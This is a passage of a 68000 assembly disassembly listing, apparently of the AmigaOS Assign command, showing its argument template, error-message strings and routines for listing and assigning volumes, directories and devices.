  1624.     LEA    LAB_00B1(PC),A0        ;10E4: 41FA0008
  1625.     MOVE.L    A0,-454(A6)        ;10E8: 2D48FE3A
  1626.     RTS                ;10EC: 4E75
  1627. LAB_00B1:
  1628.     CMPI    #$0002,28(A1)        ;10EE: 0C690002001C
  1629.     BNE.S    LAB_00B3        ;10F4: 6634
  1630.     TST.L    44(A1)            ;10F6: 4AA9002C
  1631.     BNE.S    LAB_00B3        ;10FA: 662E
  1632.     MOVEQ    #0,D7            ;10FC: 7E00
  1633. LAB_00B2:
  1634.     MOVE    #$0003,28(A1)        ;10FE: 337C0003001C
  1635.     LEA    LAB_00B0(PC),A5        ;1104: 4BFAFFCE
  1636.     MOVE.L    A5,40(A1)        ;1108: 234D0028
  1637.     MOVE.L    D7,36(A1)        ;110C: 23470024
  1638.     MOVE.L    D7,44(A1)        ;1110: 2347002C
  1639.     JSR    -456(A6)        ;1114: 4EAEFE38
  1640.     MOVE    #$0004,28(A1)        ;1118: 337C0004001C
  1641.     JSR    -456(A6)        ;111E: 4EAEFE38
  1642.     ADDI.L    #$00000400,D7        ;1122: 068700000400
  1643.     BRA.S    LAB_00B2        ;1128: 60D4
  1644. LAB_00B3:
  1645.     JMP    EXT_0000        ;112A: 4EF900000000
  1646.     MOVEP    1026(A0),D0        ;1130: 01080402
  1647. LAB_00B4:
  1648.     DC.W    $646F            ;1134
  1649.     DC.W    $732E            ;1136
  1650.     DC.W    $6C69            ;1138
  1651.     BHI.S    LAB_00B6        ;113A: 6272
  1652.     BSR.S    LAB_00B6+2        ;113C: 6172
  1653.     DC.W    $7900            ;113E
  1654. LAB_00B5:
  1655.     TRAP    #1            ;1140: 4E41
  1656.     DC.W    $4D45            ;1142
  1657.     MOVEA.L    (A4),A6            ;1144: 2C54
  1658.     DC.W    $4152            ;1146
  1659.     DC.W    $4745            ;1148
  1660.     ADDQ.B    #2,19756(A7)        ;114A: 542F4D2C
  1661.     DC.W    $4C49            ;114E
  1662.     SUBQ    #1,(A4)            ;1150: 5354
  1663.     DC.W    $2F53            ;1152
  1664.     MOVEA.L    D5,A6            ;1154: 2C45
  1665.     ADDQ    #4,A1            ;1156: 5849
  1666.     SUBQ    #1,(A4)            ;1158: 5354
  1667.     SUBQ.B    #1,21292(A7)        ;115A: 532F532C
  1668.     DC.W    $4449            ;115E
  1669.     SUBQ    #1,A5            ;1160: 534D
  1670.     DC.W    $4F55            ;1162
  1671.     DC.W    $4E54            ;1164
  1672.     MOVE.L    (A3),11332(A7)        ;1166: 2F532C44
  1673.     DC.W    $4546            ;116A
  1674.     DC.W    $4552            ;116C
  1675.     MOVE.L    (A3),11344(A7)        ;116E: 2F532C50
  1676.     DC.W    $4154            ;1172
  1677.     NBCD    21292(A7)        ;1174: 482F532C
  1678.     DC.W    $4144            ;1178
  1679.     NEG.B    21292(A7)        ;117A: 442F532C
  1680.     ADDQ    #1,D5            ;117E: 5245
  1681.     DC.W    $4D4F            ;1180
  1682.     ADDQ    #3,D5            ;1182: 5645
  1683.     MOVE.L    (A3),11350(A7)        ;1184: 2F532C56
  1684.     DC.W    $4F4C            ;1188
  1685.     SUBQ.B    #1,21292(A7)        ;118A: 532F532C
  1686.     DC.W    $4449            ;118E
  1687.     ADDQ    #1,(A3)            ;1190: 5253
  1688.     MOVE.L    (A3),11332(A7)        ;1192: 2F532C44
  1689.     DC.W    $4556            ;1196
  1690.     DC.W    $4943            ;1198
  1691.     DC.W    $4553            ;119A
  1692.     MOVE.L    (A3),36(A7)        ;119C: 2F530024
  1693.     ADDQ    #3,D5            ;11A0: 5645
  1694.     DC.W    $523A            ;11A2
  1695.     MOVEA.L    -(A1),A0        ;11A4: 2061
  1696.     DC.W    $7373            ;11A6
  1697.     DC.W    $6967            ;11A8
  1698.     BGT.S    LAB_00B9        ;11AA: 6E20
  1699.     DC.W    $3337            ;11AC
  1700. LAB_00B6:
  1701.     MOVE.L    40(A5,D2.W),D7        ;11AE: 2E352028
  1702.     DC.W    $3230            ;11B2
  1703.     DC.W    $2E35            ;11B4
  1704.     DC.W    $2E39            ;11B6
  1705.     DC.W    $3229            ;11B8
  1706.     DC.W    $0A0D            ;11BA
  1707.     DC.W    $0000            ;11BC
  1708. LAB_00B8:
  1709.     DC.W    $496E            ;11BE
  1710.     MOVEQ    #97,D3            ;11C0: 7661
  1711.     DC.W    $6C69            ;11C2
  1712.     BCC.S    LAB_00BB+2        ;11C4: 6420
  1713.     DC.W    $6465            ;11C6
  1714.     MOVEQ    #105,D3            ;11C8: 7669
  1715.     DC.W    $6365            ;11CA
  1716. LAB_00B9:
  1717.     DC.W    $206E            ;11CC
  1718.     DC.W    $616D            ;11CE
  1719.     BCS.S    LAB_00BC        ;11D0: 6520
  1720.     DC.W    $2573            ;11D2
  1721.     DC.W    $0A00            ;11D4
  1722. LAB_00BA:
  1723.     DC.W    $4F6E            ;11D6
  1724.     DC.W    $6C79            ;11D8
  1725.     DC.W    $206F            ;11DA
  1726.     DC.W    $6E65            ;11DC
  1727.     MOVEA.L    26144(A7),A0        ;11DE: 206F6620
  1728.     DC.W    $4144            ;11E2
  1729. LAB_00BB:
  1730.     NEG.B    8275(A4)        ;11E4: 442C2053
  1731.     SUBQ    #2,D2            ;11E8: 5542
  1732.     MOVE.L    -(A0),D6        ;11EA: 2C20
  1733.     ADDQ    #8,D1            ;11EC: 5041
  1734.     ADDQ    #2,A0            ;11EE: 5448
  1735.     MOVE.L    -(A0),D6        ;11F0: 2C20
  1736. LAB_00BC:
  1737.     BLE.S    LAB_00C2        ;11F2: 6F72
  1738.     MOVEA.L    D4,A0            ;11F4: 2044
  1739.     DC.W    $4546            ;11F6
  1740.     DC.W    $4552            ;11F8
  1741.     MOVEA.L    -(A1),A0        ;11FA: 2061
  1742.     BGE.S    LAB_00C4        ;11FC: 6C6C
  1743.     DC.W    $6F77            ;11FE
  1744.     BCS.S    LAB_00C2        ;1200: 6564
  1745.     DC.W    $0A00            ;1202
  1746. LAB_00BD:
  1747.     DC.W    $4361            ;1204
  1748.     DC.W    $6E27            ;1206
  1749.     MOVEQ    #32,D2            ;1208: 7420
  1750.     DC.W    $6173            ;120A
  1751.     DC.W    $7369            ;120C
  1752.     BEQ.S    LAB_00C7        ;120E: 676E
  1753.     MOVE.L    -(A5),D0        ;1210: 2025
  1754.     DC.W    $730A            ;1212
  1755.     DC.W    $0000            ;1214
  1756. LAB_00BE:
  1757.     DC.W    $4361            ;1216
  1758.     DC.W    $6E27            ;1218
  1759.     MOVEQ    #32,D2            ;121A: 7420
  1760.     DC.W    $6669            ;121C
  1761.     BGT.S    LAB_00C8+2        ;121E: 6E64
  1762.     MOVE.L    -(A5),D0        ;1220: 2025
  1763.     DC.W    $730A            ;1222
  1764.     DC.W    $0000            ;1224
  1765. LAB_00BF:
  1766.     DC.W    $4361            ;1226
  1767.     DC.W    $6E27            ;1228
  1768.     MOVEQ    #32,D2            ;122A: 7420
  1769.     DC.W    $7375            ;122C
  1770.     BHI.S    LAB_00CD        ;122E: 6274
  1771.     MOVEQ    #97,D1            ;1230: 7261
  1772.     BLS.S    LAB_00CE        ;1232: 6374
  1773.     MOVE.L    -(A5),D0        ;1234: 2025
  1774.     DC.W    $7320            ;1236
  1775.     BNE.S    LAB_00CF        ;1238: 6672
  1776.     DC.W    $6F6D            ;123A
  1777.     MOVE.L    -(A5),D0        ;123C: 2025
  1778.     DC.W    $730A            ;123E
  1779.     DC.W    $0000            ;1240
  1780. LAB_00C0:
  1781.     DC.W    $4361            ;1242
  1782.     DC.W    $6E27            ;1244
  1783.     MOVEQ    #32,D2            ;1246: 7420
  1784.     BSR.S    LAB_00D0        ;1248: 6164
  1785.     BCC.S    LAB_00C5        ;124A: 6420
  1786.     MOVE.L    116(A3,D2.W),28448(A2)    ;124C: 257320746F20
  1787.     DC.W    $2573            ;1252
  1788.     DC.W    $0A00            ;1254
  1789. LAB_00C1:
  1790.     DC.W    $4361            ;1256
  1791.     DC.W    $6E27            ;1258
  1792.     MOVEQ    #32,D2            ;125A: 7420
  1793.     DC.W    $6361            ;125C
  1794.     DC.W    $6E63            ;125E
  1795.     BCS.S    LAB_00D7        ;1260: 656C
  1796.     MOVE.L    -(A5),D0        ;1262: 2025
  1797.     DC.W    $730A            ;1264
  1798. LAB_00C2:
  1799.     DC.W    $0000            ;1266
  1800. LAB_00C3:
  1801.     DC.W    $566F            ;1268
  1802. LAB_00C4:
  1803.     DC.W    $6C75            ;126A
  1804. LAB_00C5:
  1805.     DC.W    $6D65            ;126C
  1806.     DC.W    $733A            ;126E
  1807.     DC.W    $0A00            ;1270
  1808. LAB_00C6:
  1809.     EORI    #$6972,D4        ;1272: 0A446972
  1810.     DC.W    $6563            ;1276
  1811.     MOVEQ    #111,D2            ;1278: 746F
  1812.     MOVEQ    #105,D1            ;127A: 7269
  1813.     DC.W    $6573            ;127C
  1814. LAB_00C7:
  1815.     MOVE    A2,D5            ;127E: 3A0A
  1816.     DC.W    $0000            ;1280
  1817. LAB_00C8:
  1818.     EORI    #$6576,D4        ;1282: 0A446576
  1819.     DC.W    $6963            ;1286
  1820.     DC.W    $6573            ;1288
  1821.     MOVE    A2,D5            ;128A: 3A0A
  1822.     DC.W    $0000            ;128C
  1823. LAB_00CA:
  1824.     MOVEA.L    (A3)+,A0        ;128E: 205B
  1825.     DC.W    $4D6F            ;1290
  1826.     DC.W    $756E            ;1292
  1827.     MOVEQ    #101,D2            ;1294: 7465
  1828.     DC.W    $645D            ;1296
  1829.     DC.W    $0A00            ;1298
  1830. LAB_00CB:
  1831.     DC.W    $0A00            ;129A
  1832. LAB_00CC:
  1833.     MOVE.L    -(A0),D0        ;129C: 2020
  1834.     MOVE.L    -(A0),D0        ;129E: 2020
  1835.     MOVE.L    -(A0),D0        ;12A0: 2020
  1836.     MOVE.L    -(A0),D0        ;12A2: 2020
  1837. LAB_00CD:
  1838.     MOVE.L    -(A0),D0        ;12A4: 2020
  1839.     MOVE.L    -(A0),D0        ;12A6: 2020
  1840. LAB_00CE:
  1841.     MOVE.L    -(A0),D0        ;12A8: 2020
  1842.     MOVE.L    D0,D0            ;12AA: 2000
  1843. LAB_00CF:
  1844.     MOVE.L    -(A0),D0        ;12AC: 2020
  1845. LAB_00D0:
  1846.     MOVE.L    -(A0),D0        ;12AE: 2020
  1847.     MOVE.L    -(A0),D0        ;12B0: 2020
  1848.     MOVE.L    -(A0),D0        ;12B2: 2020
  1849.     MOVE.L    -(A0),D0        ;12B4: 2020
  1850.     MOVE.L    -(A0),D0        ;12B6: 2020
  1851.     MOVE.L    8192(A3),D0        ;12B8: 202B2000
  1852. LAB_00D1:
  1853.     MOVE    D0,D6            ;12BC: 3C00
  1854. LAB_00D2:
  1855.     MOVE    A2,D7            ;12BE: 3E0A
  1856.     DC.W    $0000            ;12C0
  1857. LAB_00D3:
  1858.     SUBQ.B    #5,D0            ;12C2: 5B00
  1859. LAB_00D4:
  1860.     DC.W    $5D0A            ;12C4
  1861.     DC.W    $0000            ;12C6
  1862. LAB_00D5:
  1863.     MOVE.L    D0,D0            ;12C8: 2000
  1864. LAB_00D6:
  1865.     DC.W    $2573            ;12CA
  1866.     MOVE    -(A0),D5        ;12CC: 3A20
  1867. LAB_00D7:
  1868.     DC.W    $6E6F            ;12CE
  1869.     MOVEQ    #32,D2            ;12D0: 7420
  1870.     DC.W    $6173            ;12D2
  1871.     DC.W    $7369            ;12D4
  1872.     BEQ.S    LAB_00DF        ;12D6: 676E
  1873.     BCS.S    LAB_00DE        ;12D8: 6564
  1874.     DC.W    $0A00            ;12DA
  1875. LAB_00D8:
  1876.     DC.W    $566F            ;12DC
  1877.     DC.W    $6C75            ;12DE
  1878.     DC.W    $6D65            ;12E0
  1879.     MOVE    -(A0),D5        ;12E2: 3A20
  1880.     DC.W    $0000            ;12E4
  1881. LAB_00D9:
  1882.     DC.W    $3F3F            ;12E6
  1883.     MOVE    D0,-(A7)        ;12E8: 3F00
  1884. LAB_00DA:
  1885.     DC.W    $4173            ;12EA
  1886.     DC.W    $7369            ;12EC
  1887.     BEQ.S    LAB_00E1        ;12EE: 676E
  1888.     DC.W    $2077            ;12F0
  1889.     DC.W    $6F75            ;12F2
  1890.     BGE.S    LAB_00E0        ;12F4: 6C64
  1891.     DC.W    $2072            ;12F6
  1892.     BCS.S    LAB_00E1+2        ;12F8: 6566
  1893.     BCS.S    LAB_00E4+2        ;12FA: 6572
  1894.     DC.W    $2074            ;12FC
  1895.     BLE.S    LAB_00DC        ;12FE: 6F20
  1896.     BVS.S    LAB_00E7        ;1300: 6974
  1897.     DC.W    $7365            ;1302
  1898.     BGE.S    LAB_00E4        ;1304: 6C66
  1899.     DC.W    $0A00            ;1306
  1900. LAB_00DB:
  1901.     LINK    A5,#-264        ;1308: 4E55FEF8
  1902.     MOVEM.L    D2-D3/D7/A2-A3/A6,-(A7)    ;130C: 48E73132
  1903.     MOVE.L    D0,D7            ;1310: 2E00
  1904.     MOVEA.L    A1,A3            ;1312: 2649
  1905.     MOVE.L    A0,-264(A5)        ;1314: 2B48FEF8
  1906.     TST.L    D7            ;1318: 4A87
  1907.     BEQ    LAB_00E9        ;131A: 67000082
  1908.     MOVE.L    D7,D0            ;131E: 2007
  1909. LAB_00DC:
  1910.     ASL.L    #2,D0            ;1320: E580
  1911.     MOVEA.L    D0,A0            ;1322: 2040
  1912.     MOVE.L    16(A0),D1        ;1324: 22280010
  1913.     ASL.L    #2,D1            ;1328: E581
  1914.     MOVEA.L    D1,A2            ;132A: 2441
  1915.     MOVE.L    A2,D0            ;132C: 200A
  1916.     BEQ.S    LAB_00DD        ;132E: 6706
  1917.     TST.L    8(A2)            ;1330: 4AAA0008
  1918.     BNE.S    LAB_00E6        ;1334: 663C
  1919. LAB_00DD:
  1920.     MOVEQ    #8,D0            ;1336: 7008
  1921.     LEA    LAB_00D8(PC),A0        ;1338: 41FAFFA2
  1922.     MOVEA.L    A3,A1            ;133C: 224B
  1923. LAB_00DE:
  1924.     BSR    LAB_00EA        ;133E: 61000072
  1925.     MOVE.L    A2,D0            ;1342: 200A
  1926.     BEQ.S    LAB_00E3        ;1344: 671E
  1927. LAB_00DF:
  1928.     MOVE.L    40(A2),D0        ;1346: 202A0028
  1929.     ASL.L    #2,D0            ;134A: E580
  1930.     MOVEA.L    D0,A0            ;134C: 2040
  1931.     LEA    1(A0),A1        ;134E: 43E80001
  1932.     MOVE.B    (A0),D1            ;1352: 1210
  1933.     EXT    D1            ;1354: 4881
  1934.     EXT.L    D1            ;1356: 48C1
  1935.     MOVE.L    D1,D0            ;1358: 2001
  1936. LAB_00E0:
  1937.     MOVEA.L    A1,A0            ;135A: 2049
  1938.     MOVEA.L    A3,A1            ;135C: 224B
  1939. LAB_00E1:
  1940.     BSR    LAB_00EA        ;135E: 61000052
  1941.     BRA.S    LAB_00E9        ;1362: 603A
  1942. LAB_00E3:
  1943.     MOVEQ    #3,D0            ;1364: 7003
  1944.     LEA    LAB_00D9(PC),A0        ;1366: 41FAFF7E
  1945.     MOVEA.L    A3,A1            ;136A: 224B
  1946. LAB_00E4:
  1947.     BSR    LAB_00EA        ;136C: 61000044
  1948.     BRA.S    LAB_00E9        ;1370: 602C
  1949. LAB_00E6:
  1950.     CLR.B    -260(A5)        ;1372: 422DFEFC
  1951. LAB_00E7:
  1952.     MOVE.L    D7,D1            ;1376: 2207
  1953.     LEA    -260(A5),A0        ;1378: 41EDFEFC
  1954.     MOVE.L    A0,D2            ;137C: 2408
  1955.     MOVEQ    #0,D3            ;137E: 7600
  1956.     NOT.B    D3            ;1380: 4603
  1957.     MOVEA.L    -264(A5),A6        ;1382: 2C6DFEF8
  1958.     JSR    -402(A6)        ;1386: 4EAEFE6E
  1959.     MOVEA.L    D2,A0            ;138A: 2042
  1960. LAB_00E8:
  1961.     TST.B    (A0)+            ;138C: 4A18
  1962.     BNE.S    LAB_00E8        ;138E: 66FC
  1963.     SUBQ.L    #1,A0            ;1390: 5388
  1964.     SUBA.L    D2,A0            ;1392: 91C2
  1965.     MOVE.L    A0,D0            ;1394: 2008
  1966.     MOVEA.L    D2,A0            ;1396: 2042
  1967.     MOVEA.L    A3,A1            ;1398: 224B
  1968.     BSR    LAB_00EA        ;139A: 61000016
  1969. LAB_00E9:
  1970.     MOVEQ    #1,D0            ;139E: 7001
  1971.     LEA    LAB_00CB(PC),A0        ;13A0: 41FAFEF8
  1972.     MOVEA.L    A3,A1            ;13A4: 224B
  1973.     BSR    LAB_00EA        ;13A6: 6100000A
  1974.     MOVEM.L    (A7)+,D2-D3/D7/A2-A3/A6    ;13AA: 4CDF4C8C
  1975.     UNLK    A5            ;13AE: 4E5D
  1976.     RTS                ;13B0: 4E75
  1977. LAB_00EA:
  1978.     LINK    A5,#-16            ;13B2: 4E55FFF0
  1979.     MOVEM.L    D7/A2-A3/A6,-(A7)    ;13B6: 48E70132
  1980.     MOVE.L    D0,D7            ;13BA: 2E00
  1981.     MOVEM.L    A0-A1,-16(A5)        ;13BC: 48ED0300FFF0
  1982.     MOVEA    #$0004,A0        ;13C2: 307C0004
  1983.     MOVEA.L    (A0),A2            ;13C6: 2450
  1984.     MOVEA.L    -12(A5),A0        ;13C8: 206DFFF4
  1985.     MOVEA.L    (A0),A3            ;13CC: 2650
  1986.     MOVE.L    8(A3),D0        ;13CE: 202B0008
  1987.     TST.L    D0            ;13D2: 4A80
  1988.     BPL.S    LAB_00EB        ;13D4: 6A04
  1989.     MOVEQ    #1,D0            ;13D6: 7001
  1990.     BRA.S    LAB_00F2        ;13D8: 6070
  1991. LAB_00EB:
  1992.     MOVE.L    8(A3),D0        ;13DA: 202B0008
  1993.     ADD.L    D7,D0            ;13DE: D087
  1994.     CMP.L    12(A3),D0        ;13E0: B0AB000C
  1995.     BLT.S    LAB_00EF        ;13E4: 6D48
  1996.     MOVE.L    (A3),D0            ;13E6: 2013
  1997.     BEQ.S    LAB_00EC        ;13E8: 6704
  1998.     MOVEA.L    D0,A3            ;13EA: 2640
  1999.     BRA.S    LAB_00EE        ;13EC: 602C
  2000. LAB_00EC:
  2001.     MOVE.L    #$00000410,D0        ;13EE: 203C00000410
  2002.     MOVEQ    #0,D1            ;13F4: 7200
  2003.     MOVEA.L    A2,A6            ;13F6: 2C4A
  2004.     JSR    -198(A6)        ;13F8: 4EAEFF3A
  2005.     MOVE.L    D0,(A3)            ;13FC: 2680
  2006.     BNE.S    LAB_00ED        ;13FE: 660A
  2007.     MOVEQ    #-1,D1            ;1400: 72FF
  2008.     MOVE.L    D1,8(A3)        ;1402: 27410008
  2009.     MOVEQ    #1,D0            ;1406: 7001
  2010.     BRA.S    LAB_00F2        ;1408: 6040
  2011. LAB_00ED:
  2012.     MOVEA.L    (A3),A1            ;140A: 2253
  2013.     MOVE.L    #$00000400,12(A1)    ;140C: 237C00000400000C
  2014.     MOVEA.L    A1,A3            ;1414: 2649
  2015.     SUBA.L    A1,A1            ;1416: 93C9
  2016.     MOVE.L    A1,(A3)            ;1418: 2689
  2017. LAB_00EE:
  2018.     MOVEQ    #0,D0            ;141A: 7000
  2019.     MOVE.L    D0,8(A3)        ;141C: 27400008
  2020.     LEA    16(A3),A0        ;1420: 41EB0010
  2021.     MOVE.L    A0,4(A3)        ;1424: 27480004
  2022.     MOVEA.L    -12(A5),A1        ;1428: 226DFFF4
  2023.     MOVE.L    A3,(A1)            ;142C: 228B
  2024. LAB_00EF:
  2025.     MOVEA.L    4(A3),A0        ;142E: 206B0004
  2026.     ADDA.L    8(A3),A0        ;1432: D1EB0008
  2027.     MOVE.L    D7,D0            ;1436: 2007
  2028.     MOVEA.L    -16(A5),A1        ;1438: 226DFFF0
  2029.     BRA.S    LAB_00F1        ;143C: 6002
  2030. LAB_00F0:
  2031.     MOVE.B    (A1)+,(A0)+        ;143E: 10D9
  2032. LAB_00F1:
  2033.     SUBQ.L    #1,D0            ;1440: 5380
  2034.     BCC.S    LAB_00F0        ;1442: 64FA
  2035.     ADD.L    D7,8(A3)        ;1444: DFAB0008
  2036.     MOVEQ    #0,D0            ;1448: 7000
  2037. LAB_00F2:
  2038.     MOVEM.L    (A7)+,D7/A2-A3/A6    ;144A: 4CDF4C80
  2039.     UNLK    A5            ;144E: 4E5D
  2040.     RTS                ;1450: 4E75
  2041. LAB_00F3:
  2042.     LINK    A5,#-12            ;1452: 4E55FFF4
  2043.     MOVEM.L    D2/D7/A2-A3/A6,-(A7)    ;1456: 48E72132
  2044.     MOVEA.L    A1,A3            ;145A: 2649
  2045.     MOVE.L    A0,-12(A5)        ;145C: 2B48FFF4
  2046.     BRA.S    LAB_00FB        ;1460: 6058
  2047. LAB_00F4:
  2048.     MOVE.L    8(A3),D0        ;1462: 202B0008
  2049.     TST.L    D0            ;1466: 4A80
  2050.     BLE.S    LAB_00F9        ;1468: 6F40
  2051.     MOVEA.L    4(A3),A2        ;146A: 246B0004
  2052.     MOVE.L    D0,D7            ;146E: 2E00
  2053.     BRA.S    LAB_00F8        ;1470: 6032
  2054. LAB_00F5:
  2055.     MOVE.L    #$00001000,D1        ;1472: 223C00001000
  2056.     MOVEA.L    -12(A5),A6        ;1478: 2C6DFFF4
  2057.     JSR    -792(A6)        ;147C: 4EAEFCE8
  2058.     TST.L    D0            ;1480: 4A80
  2059.     BEQ.S    LAB_00F6        ;1482: 6708
  2060.     MOVE.L    #$00000130,D0        ;1484: 203C00000130
  2061.     BRA.S    LAB_00FC        ;148A: 6032
  2062. LAB_00F6:
  2063.     MOVEQ    #100,D0            ;148C: 7064
  2064.     CMP.L    D0,D7            ;148E: BE80
  2065.     BGT.S    LAB_00F7        ;1490: 6E02
  2066.     MOVE.L    D7,D0            ;1492: 2007
  2067. LAB_00F7:
  2068.     MOVE.L    D0,D2            ;1494: 2400
  2069.     MOVE.L    A2,D1            ;1496: 220A
  2070.     JSR    -942(A6)        ;1498: 4EAEFC52
  2071.     MOVEQ    #100,D0            ;149C: 7064
  2072.     SUB.L    D0,D7            ;149E: 9E80
  2073.     ADDA    #$0064,A2        ;14A0: D4FC0064
  2074. LAB_00F8:
  2075.     TST.L    D7            ;14A4: 4A87
  2076.     BGT.S    LAB_00F5        ;14A6: 6ECA
  2077.     BRA.S    LAB_00FA        ;14A8: 600A
  2078. LAB_00F9:
  2079.     MOVE.L    8(A3),D0        ;14AA: 202B0008
  2080.     BEQ.S    LAB_00FC        ;14AE: 670E
  2081.     MOVEQ    #103,D0            ;14B0: 7067
  2082.     BRA.S    LAB_00FC        ;14B2: 600A
  2083. LAB_00FA:
  2084.     CLR.L    8(A3)            ;14B4: 42AB0008
  2085.     MOVEA.L    (A3),A3            ;14B8: 2653
  2086. LAB_00FB:
  2087.     MOVE.L    A3,D0            ;14BA: 200B
  2088.     BNE.S    LAB_00F4        ;14BC: 66A4
  2089. LAB_00FC:
  2090.     MOVEM.L    (A7)+,D2/D7/A2-A3/A6    ;14BE: 4CDF4C84
  2091.     UNLK    A5            ;14C2: 4E5D
  2092.     RTS                ;14C4: 4E75
  2093. LAB_00FD:
  2094.     LINK    A5,#-64            ;14C6: 4E55FFC0
  2095.     MOVEM.L    D2-D3/D5-D7/A2-A3/A6,-(A7) ;14CA: 48E73732
  2096.     MOVEA.L    8(A5),A3        ;14CE: 266D0008
  2097.     MOVE.L    D0,D7            ;14D2: 2E00
  2098.     MOVEM.L    A0-A1,-60(A5)        ;14D4: 48ED0300FFC4
  2099.     MOVEQ    #0,D6            ;14DA: 7C00
  2100.     MOVEQ    #17,D1            ;14DC: 7211
  2101.     MOVEA.L    -60(A5),A6        ;14DE: 2C6DFFC4
  2102.     JSR    -654(A6)        ;14E2: 4EAEFD72
  2103.     MOVE.L    D0,32(A7)        ;14E6: 2F400020
  2104.     TST.L    D0            ;14EA: 4A80
  2105.     BNE.S    LAB_00FE        ;14EC: 660A
  2106.     LEA    LAB_00BD(PC),A0        ;14EE: 41FAFD14
  2107.     MOVE.L    A0,D0            ;14F2: 2008
  2108.     BRA    LAB_0108        ;14F4: 600000BC
  2109. LAB_00FE:
  2110.     CLR.L    -16(A5)            ;14F8: 42ADFFF0
  2111.     LSR.L    #2,D7            ;14FC: E48F
  2112.     MOVEA.L    12(A5),A2        ;14FE: 246D000C
  2113.     BRA    LAB_0106        ;1502: 6000009A
  2114. LAB_00FF:
  2115.     LEA    -47(A5),A0        ;1506: 41EDFFD1
  2116.     MOVEA.L    A3,A1            ;150A: 224B
  2117.     BSR    LAB_0109        ;150C: 610000AC
  2118.     MOVEA.L    D0,A3            ;1510: 2640
  2119.     MOVEA.L    A3,A0            ;1512: 204B
  2120.     MOVE.L    A0,-16(A5)        ;1514: 2B48FFF0
  2121.     BNE    LAB_0107        ;1518: 6600008C
  2122.     MOVE.B    -47(A5),D0        ;151C: 102DFFD1
  2123.     TST.B    D0            ;1520: 4A00
  2124.     BEQ    LAB_0107        ;1522: 67000082
  2125.     MOVEA.L    -56(A5),A0        ;1526: 206DFFC8
  2126.     LEA    -47(A5),A1        ;152A: 43EDFFD1
  2127.     JSR    LAB_0112(PC)        ;152E: 4EBA00D8
  2128.     TST.L    D0            ;1532: 4A80
  2129.     BNE.S    LAB_0100        ;1534: 6606
  2130.     LEA    LAB_00DA(PC),A3        ;1536: 47FAFDB2
  2131.     BRA.S    LAB_0107        ;153A: 606A
  2132. LAB_0100:
  2133.     MOVE.L    32(A7),D1        ;153C: 222F0020
  2134.     LEA    -47(A5),A0        ;1540: 41EDFFD1
  2135.     MOVE.L    A0,D2            ;1544: 2408
  2136.     MOVEQ    #16,D3            ;1546: 7610
  2137.     MOVEA.L    -60(A5),A6        ;1548: 2C6DFFC4
  2138.     JSR    -684(A6)        ;154C: 4EAEFD54
  2139.     MOVEA.L    D0,A2            ;1550: 2440
  2140.     MOVEA.L    -16(A5),A3        ;1552: 266DFFF0
  2141.     MOVE.L    A2,D0            ;1556: 200A
  2142.     BEQ.S    LAB_0107        ;1558: 674C
  2143.     MOVE.L    4(A2),D0        ;155A: 202A0004
  2144.     MOVEQ    #4,D1            ;155E: 7204
  2145.     CMP.L    D1,D0            ;1560: B081
  2146.     BEQ.S    LAB_0101        ;1562: 6704
  2147.     SUBQ.L    #3,D0            ;1564: 5780
  2148.     BNE.S    LAB_0107        ;1566: 663E
  2149. LAB_0101:
  2150.     MOVEQ    #0,D5            ;1568: 7A00
  2151.     MOVEA.L    12(A5),A3        ;156A: 266D000C
  2152.     BRA.S    LAB_0104        ;156E: 6010
  2153. LAB_0102:
  2154.     MOVEA.L    (A3),A0            ;1570: 2053
  2155.     CMPA.L    A2,A0            ;1572: B1CA
  2156.     BNE.S    LAB_0103        ;1574: 6606
  2157.     LEA    LAB_00DA(PC),A3        ;1576: 47FAFD72
  2158.     BRA.S    LAB_0107        ;157A: 602A
  2159. LAB_0103:
  2160.     ADDQ.L    #1,D5            ;157C: 5285
  2161.     ADDQ.L    #4,A3            ;157E: 588B
  2162. LAB_0104:
  2163.     CMP.L    D6,D5            ;1580: BA86
  2164.     BLT.S    LAB_0102        ;1582: 6DEC
  2165.     CMP.L    D7,D6            ;1584: BC87
  2166.     BLT.S    LAB_0105        ;1586: 6D06
  2167.     LEA    LAB_00BD(PC),A3        ;1588: 47FAFC7A
  2168.     BRA.S    LAB_0107        ;158C: 6018
  2169. LAB_0105:
  2170.     ADDQ.L    #1,D6            ;158E: 5286
  2171.     MOVEA.L    -52(A5),A0        ;1590: 206DFFCC
  2172.     MOVE.L    A2,(A0)            ;1594: 208A
  2173.     MOVEA.L    16(A2),A3        ;1596: 266A0010
  2174.     LEA    4(A0),A2        ;159A: 45E80004
  2175. LAB_0106:
  2176.     MOVE.L    A2,-52(A5)        ;159E: 2B4AFFCC
  2177.     BRA    LAB_00FF        ;15A2: 6000FF62
  2178. LAB_0107:
  2179.     MOVEQ    #17,D1            ;15A6: 7211
  2180.     MOVEA.L    -60(A5),A6        ;15A8: 2C6DFFC4
  2181.     JSR    -660(A6)        ;15AC: 4EAEFD6C
  2182.     MOVE.L    A3,D0            ;15B0: 200B
  2183. LAB_0108:
  2184.     MOVEM.L    (A7)+,D2-D3/D5-D7/A2-A3/A6 ;15B2: 4CDF4CEC
  2185.     UNLK    A5            ;15B6: 4E5D
  2186.     RTS                ;15B8: 4E75
  2187. LAB_0109:
  2188.     MOVEM.L    D7/A2-A3,-(A7)        ;15BA: 48E70130
  2189.     MOVEA.L    A0,A3            ;15BE: 2648
  2190.     MOVEA.L    A1,A2            ;15C0: 2449
  2191.     MOVEQ    #0,D7            ;15C2: 7E00
  2192.     BRA.S    LAB_010B        ;15C4: 6002
  2193. LAB_010A:
  2194.     ADDQ.L    #1,D7            ;15C6: 5287
  2195. LAB_010B:
  2196.     MOVE.B    0(A2,D7.L),D0        ;15C8: 10327800
  2197.     BEQ.S    LAB_010C        ;15CC: 6706
  2198.     MOVEQ    #58,D1            ;15CE: 723A
  2199.     CMP.B    D1,D0            ;15D0: B001
  2200.     BNE.S    LAB_010A        ;15D2: 66F2
  2201. LAB_010C:
  2202.     TST.B    0(A2,D7.L)        ;15D4: 4A327800
  2203.     BNE.S    LAB_010D        ;15D8: 6606
  2204.     CLR.B    (A3)            ;15DA: 4213
  2205.     MOVEQ    #0,D0            ;15DC: 7000
  2206.     BRA.S    LAB_0111        ;15DE: 6022
  2207. LAB_010D:
  2208.     MOVEQ    #30,D0            ;15E0: 701E
  2209.     CMP.L    D0,D7            ;15E2: BE80
  2210.     BLT.S    LAB_010E        ;15E4: 6D08
  2211.     LEA    LAB_00BD(PC),A0        ;15E6: 41FAFC1C
  2212.     MOVE.L    A0,D0            ;15EA: 2008
  2213.     BRA.S    LAB_0111        ;15EC: 6014
  2214. LAB_010E:
  2215.     MOVE.L    D7,D0            ;15EE: 2007
